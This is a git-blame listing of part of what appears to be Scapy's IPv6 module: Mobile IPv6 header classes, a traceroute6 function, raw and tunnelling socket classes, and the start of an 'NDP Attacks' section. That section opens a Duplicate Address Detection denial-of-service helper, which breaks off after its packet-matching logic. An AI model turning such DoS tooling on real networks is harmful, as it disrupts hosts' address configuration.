3023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test"
3024c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 4
3025c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
30262bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        return raw(self.cookie)
3027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3028c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self):
3029c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_CoTI) and
3030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
3031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3034c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass LifetimeField(ShortField):
3035c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
3036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%d sec" % (4*x)
3037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BU(_MobilityHeader):
3039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Update"
3040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 5, mhtypes),
3043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3046571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "KHA", 7, "PRMKLHA"),
3047571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("reserved", 0, 9),
3048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    LifetimeField("mhtime", 3), # unit == 4 seconds
3049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len - 4) ]
3052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30552a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
30570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def answers(self, other):
3058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(other, MIP6MH_BRR):
3059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BA(_MobilityHeader):
3063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding ACK"
3064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 6, mhtypes),
3067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, bastatus),
3070571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "K", 3, "PRK"),
3071571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("res2", None, 5),
3072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("mhtime", 0), # unit == 4 seconds
3074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len-4) ]
3077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30802a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
3083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_BU) and
3084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.mhtype == 5 and
3085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.mhtype == 6 and
3086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.flags & 0x1 and # Ack request flags is set
3087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.seq == other.seq):
3088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_bestatus = { 1: 'Unknown binding for Home Address destination option',
3092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              2: 'Unrecognized MH Type value' }
3093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: match Binding Error to its stimulus
3095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BE(_MobilityHeader):
3096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Error"
3097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 7, mhtypes),
3100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", 0),
3101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, _bestatus),
3103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
3104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("ha", "::"),
3105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
3106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
3107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mip6_mhtype2cls = { 0: MIP6MH_BRR,
3110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     1: MIP6MH_HoTI,
3111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: MIP6MH_CoTI,
3112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: MIP6MH_HoT,
3113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: MIP6MH_CoT,
3114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     5: MIP6MH_BU,
3115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     6: MIP6MH_BA,
3116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     7: MIP6MH_BE }
3117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
31191bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
3120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                             Traceroute6                               ###
3123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass  AS_resolver6(AS_resolver_riswhois):
3127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _resolve_one(self, ip):
3128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        overloaded version to provide a Whois resolution on the
31300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        embedded IPv4 address if the address is 6to4 or Teredo.
3131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Otherwise, the native IPv6 address is passed.
3132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if in6_isaddr6to4(ip): # for 6to4, use embedded @
3135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = inet_pton(socket.AF_INET6, ip)
3136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET, tmp[2:6])
3137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
3138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = teredoAddrExtractInfo(ip)[2]
3139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
3140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = ip
31410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
3143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
31442bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        if asn.startswith("AS"):
3145caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            try:
3146caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                asn = int(asn[2:])
3147caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            except ValueError:
3148caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                pass
3149caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3150caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon        return ip,asn,desc
3151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TracerouteResult6(TracerouteResult):
3153aefe6fcbe454cd014487523c5470d933fa70e95cPierre LALET    __slots__ = []
3154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def show(self):
3155d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        return self.make_table(lambda s_r: (s_r[0].sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 !
315622a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                            s_r[0].hlim,
315722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                            s_r[1].sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+
315822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+
315922a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+
316022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6EchoReply:%ir,type%}")))
3161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def get_trace(self):
3163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        trace = {}
3164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for s,r in self.res:
3166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 not in s:
3167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3168a3618a09887e39536009036d2e88341c61d4d385gpotter            d = s[IPv6].dst
3169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d not in trace:
3170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                trace[d] = {}
31710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
31720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            t = not (ICMPv6TimeExceeded in r or
3173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6DestUnreach in r or
3174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6PacketTooBig in r or
3175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6ParamProblem in r)
3176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3177a3618a09887e39536009036d2e88341c61d4d385gpotter            trace[d][s[IPv6].hlim] = r[IPv6].src, t
3178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
317922a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        for k in six.itervalues(trace):
3180241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            try:
318122a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                m = min(x for x, y in six.itervalues(k) if y)
3182241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            except ValueError:
3183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3184a65ddc700c23475df28978a17f3b44e93f56ec80Pierre LALET            for l in list(k):  # use list(): k is modified in the loop
3185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l > m:
3186241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET                    del k[l]
3187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return trace
3189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def graph(self, ASres=AS_resolver6(), **kargs):
3191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        TracerouteResult.graph(self, ASres=ASres, **kargs)
3192caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3193caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
3194caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadondef traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),
3195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l4 = None, timeout=2, verbose=None, **kargs):
3196caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Instant TCP traceroute using IPv6
3197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
3198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
3199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose is None:
3200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        verbose = conf.verb
3201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if l4 is None:
3203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport),
3204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs)
3205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
3206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4,
3207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, verbose=verbose, **kargs)
3208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    a = TracerouteResult6(a.res)
3210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose:
3212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a.display()
3213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return a,b
3215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                                Sockets                                ###
3219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass L3RawSocket6(L3RawSocket):
3223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0):
3224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        L3RawSocket.__init__(self, type, filter, iface, promisc)
322577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)
3226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
3227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
3228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef IPv6inIP(dst='203.178.135.36', src=None):
3230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.dst = dst
3231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.src = src
3232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  if not conf.L3socket == _IPv6inIP:
3233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.cls = conf.L3socket
3234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  else:
3235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    del(conf.L3socket)
3236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  return _IPv6inIP
3237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6inIP(SuperSocket):
3239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  dst = '127.0.0.1'
3240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  src = None
3241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  cls = None
3242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args):
3244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    SuperSocket.__init__(self, family, type, proto)
3245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    self.worker = self.cls(**args)
3246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def set(self, dst, src=None):
3248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.src = src
3249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.dst = dst
3250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def nonblock_recv(self):
3252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.nonblock_recv()
3253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p)
3254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def recv(self, x):
3256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.recv(x)
3257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p, x)
3258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def _recv(self, p, x=MTU):
3260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if p is None:
3261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return p
3262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif isinstance(p, IP):
3263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      # TODO: verify checksum
3264a3618a09887e39536009036d2e88341c61d4d385gpotter      if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
3265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(p.payload, IPv6):
3266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return p.payload
3267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return p
3268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def send(self, x):
3270a3618a09887e39536009036d2e88341c61d4d385gpotter    return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
3271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3275af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard###                  Neighbor Discovery Protocol Attacks                  ###
3276af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3277af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3278af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3279af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
3280af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter=None, reply_mac=None):
3281af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3282af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Internal generic helper accepting a specific callback as first argument,
3283af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for NS or NA reply. See the two specific functions below.
3284af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3285af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3286af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3287af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3288af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3289af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3290af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3291af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3292af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3293af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3294af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3295af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Get and compare the MAC address
3296af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3297af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3298af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3299af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3300af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must be the unspecified address
3301a3618a09887e39536009036d2e88341c61d4d385gpotter        if req[IPv6].src != "::":
3302af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3303af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3304af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check destination is the link-local solicited-node multicast
3305af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address associated with target address in received NS
3306a3618a09887e39536009036d2e88341c61d4d385gpotter        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3307af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3308af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3309a3618a09887e39536009036d2e88341c61d4d385gpotter        received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)
3310af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        expected_snma = in6_getnsma(tgt)
3311af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if received_snma != expected_snma:
3312af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3313af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3314af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3315af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3316af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3317af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3318af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3319af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3320af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3321af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3322af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3323af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
